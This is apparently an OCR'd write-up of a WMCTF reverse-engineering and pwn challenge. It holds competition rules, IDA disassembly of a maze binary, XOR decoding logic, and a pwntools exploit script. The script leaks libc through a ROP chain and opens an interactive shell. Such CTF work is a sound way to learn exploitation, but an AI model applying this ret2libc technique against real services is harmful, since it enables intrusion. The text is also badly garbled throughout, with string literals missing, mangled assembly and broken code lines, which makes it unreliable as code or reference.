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" | hint1; "RuScheduler” add hint1
“scientific adsafe_networking”

4, About the issue of Docker container delivery: each team can only deliver one container at the same time, and delivering a new
container will release the previously delivered container. After the container is delivered, if you cannot access the address, please retry the
refresh later. If an emor is prompted, you can reapply for delivery later.

5. In most cases, the format of the flag is WMCTF{this_is_a_sample_flag}. Please submit a complete flag containing WMCTF{}, wmctf{} or
flag{} for scoring; if the flag is in other formats, it will be explained in the title.

6. This competition has a strict cheating review system. Once all behaviors that undermine the fairmess of the competition are found and o,
confirmed, the results of the competition will be cancelled. 1 6,22 /o
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Function name ~ cdqe
[F] maze 38 lea rdx, ds:@[rax*4]
maze 79 lea rax, answer
maze 47 mov eax, [rdx+rax]
(7] maze 76 mov [rbp+var_4], eax
::ﬁg:;j cmp [rbp+var_4], @DEADBEEFh
maze 72 jnz short loc_40B797
(7] maze_70 ¥ 11 Y
[F] maze_28 [ sl 5= [ i =
[F] maze_s9 mov eax, ©
maze 23 call wrong ||loc_4@B797:
(7] maze 31 cmp [rbp+var_4], 6
(3] maze 20 jnz short loc_46B7AC
[F] maze1 —
maze_49 1] []
[F] maze 6 [l =1 [l i ]
[7] maze 62 mov eax, 0|
maze_61 call wrong ||loc_4@B7AC:
(mmﬂle 58 R v cmp [rbp+var_4], 12h
T jnz short loc_40B7C1|
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mov eax, ©
call wrong ||loc_40B7C1:
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)000000040BB42 loc_40BB42: ; CODE XREF: 1
)000000R40BB42 cmp [rbp+var_4], 36h ; '6°
)000000V40BB46 jnz short loc_4©BB66

)00V 40BB48 mov eax, Cs:pos

)000000040BBAE add eax, 1

)00V R40BB51 mov cs:pos, eax

)00000BL40BB57 mov eax, ©

)0000RBR40BB5C call maze_ 2

)000000040BB61 jmp loc_40C037  r5p1 @zhens Huang
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X | IDA View-4, Hex View-1 @ IDA View-E [E Hanes window [A]  Structuras ia| Eruns FE  TInports #  Exports
~ | [E 104 Vier-4 0 & x | [C]Hex Viev-1 =]
c pop rax lbooooeeaa10B992 Co @D F8
X 0000000E0040B3A2 18 B3 00
D jmp loc_deces? 08000E000A40BIBE F8 83 0O
R e e T 70000EEREA40BICE 00 00 00
P 000000000040BIDE  FC 14 75
00000ERER10BIEY 00 00 ES
2 loc_4@BB42: 5 CODE XR |lopopnnoessercre 75 18 BS
2 cmp [rbp+var_4], 36h ; '6° PPAOPANPAG4ABAGD 4D FS 83
6 jnz short loc ABGBBG6 700000EREA40BA1 BB 00 00
= 0000000EO040BA20 83 00 58
8 mov éax, cs:pos 0e00R00RERI0BA3E 00 60 00
E add eax, 1 0eEEER00AA40BA4E 58 E9 F1
1 mov cs:pos, eax 000000000040BASE 49 F8 83
: ? PPOEPERBARAOBAGE D3 85 00
7 mov eax, @ 008000000A4ABATE  F5 @B 02
C call maze 2 PBEPEEABOAAOBASE 48 C7 CO
. 70000EERER10BA92 02 00 E9
1 Jmp loc_seces7 000000PEARI0BANG 00 08 E8
B 5 oo 0000000P0040BABE 75 OF BS
6 70000EEREAL0BACE 00 B3 7D
. . 000000DEOOI0BADE 00 50 48
6 loc_40BB66: ’ C?DF XR  (becovooeeasoence 70 Fc 15
6 cmp [rbp+var_4], 26h ; '& 000G00AC004OBAFD 43 @5 00
A jnz short loc 48BB7D 000000000040BB00 83 00 58
- 0000000RE040BB12 (O 71 F8
c push rbx 00EB0AEPA04EBE20 21 50 48
D pop rbx 0000000R0040BE3E 35 OB 02
E mov eax, © 700000EREA40BB42 00 00 B3
v 6000000EA040BB50 89 05
I 0000BB4E 000000000040BB4E: maze_1+3F4 (Synchronized with Hex View-1) 0000BB4E 000000000040BB4E:
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e e Wl | R | = J2a
for (1 =0; ; ++1 )
{
result = v3;
if (1 >= (int)v3 )
break;
if ( !success_tmp )
va[i] ™= ©xB7u;

if ( success _tmp == 1 )
va[i] ™= ©xDO9u;

if ( success_tmp == 2 )
vad[i] "= ©x66u;

if ( success_tmp == 3 )
v4[1i] ~= ©xBCu;

if ( success _tmp == 4 )

vad[1] "= ©xFCu;
success_tmp = (success tmp + 1) % 5;

} C5DN @Zneng__Huang
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def encode(payload, offset):

payload_encoded
for i in ( (payload)):
payload_encoded (payload[i] success_temp[ (i offset) 5]).to_bytes(1,

return payload_encoded

success_temp []
for addr in e.search( ):

success_temp.append(e.data[e.vaddr_to offset(addr) 1])

(e.search( )))
(1, 81):
payload (key[i]).encode(

(100) .encode(

p64(prdi) p64(e.got[ p64(e.plt| D) p64(e.symbols[

p.recvuntil( , drop=True).ljust(8,
ub4 (puts_addr)
(puts_addr))
libc LibcSearcher( , puts_addr)

libc_base = puts_addr - libc.dump( )
log.success( (libc_base))

p.sendlineafter( (100) .encode(

ox14 8 + p64(prdi) p64(1libc.dump( libc_base)

p64(prdi + 1) p64(1libc.dump( ) libc_base)
, encode(payload, 1))
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p.recvuntil( , drop=True)
( 5 ) as f:
f.write(a2b_base64(b64 data))
ru( )

‘temp_binary = os.popen( ).read().strip(
e ELF( temp_binary)

THIrsp 167X A, B iThget shell. T B 5E AR AD

pwn import
LibcSearcher import
binascii import a2b_base64

import os

context(log level , bits=64)
context.terminal ]
local False

binary name
port 44212

if local:
p process([ binary name])

e ELF( binary name)

else:

p remote(

gdb.attach(p, a)
if a

0

else:

pass

ru lambda x: p.recvuntil(x)

rc lambda x: p.recv(x)
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sd = lambda x: p.send(x)

sla lambda delim, data: p.sendlineafter(delim, data)

def encode(payload, offset):

payload_encoded
for i in ( (payload)):

payload_encoded (payload[i] success_temp[(i + offset) 5]).to_bytes(1,

return payload_encoded

success_temp [1]

p.recvuntil( , drop=True)
( 5 ) as f:
f.write(a2b_base64(b64_data))

ru( )

temp_binary = os.popen( ).read().strip(
e ELF( temp_binary)

d = {}

for i in (1, 81):

d[i] e.symbols|[ . (1)]

maze_address (d.items(), key=lambda x: x[1])

key = {}
for ind, addr in (80), e.search( )):

addr 4

while e.data[e.vaddr_to_offset(addr): e.vaddr_to_offset(addr) 3]
key[maze_address[ind][0]] e.data[e.vaddr_to offset(addr) 3]

for addr in e.search( ):
success_temp.append(e.data[e.vaddr_to offset(addr) 1])

prdi (e.search( ))

payload

for i in (1, 81):
payload (key[i]).encode(




payload (100) .encode(

sl(payload)

sleep(2)

ru(

sleep(2)

payload ox14 p64(prdi) p64(e.got[ 1

1
sl(encode(payload, 9))

sleep(2)

ru( )

puts_addr p.recvuntil( , drop=True).ljust(8,
puts_addr ub4(puts_addr)

log.success( (puts_addr))
libc LibcSearcher( , puts_addr)

libc_base puts_addr libc.dump( )
log.success( (libc_base))

p.sendlineafter( (100) .encode(
payload ox14 8 p64(prdi) p64(libc.dump(
payload p64(prdi 1) p64(libc.dump( ) libc_base)

sla( , encode(payload, 1))

p.interactive()

p64(e.plt| D)

libc_base)

p64(e.symbols[
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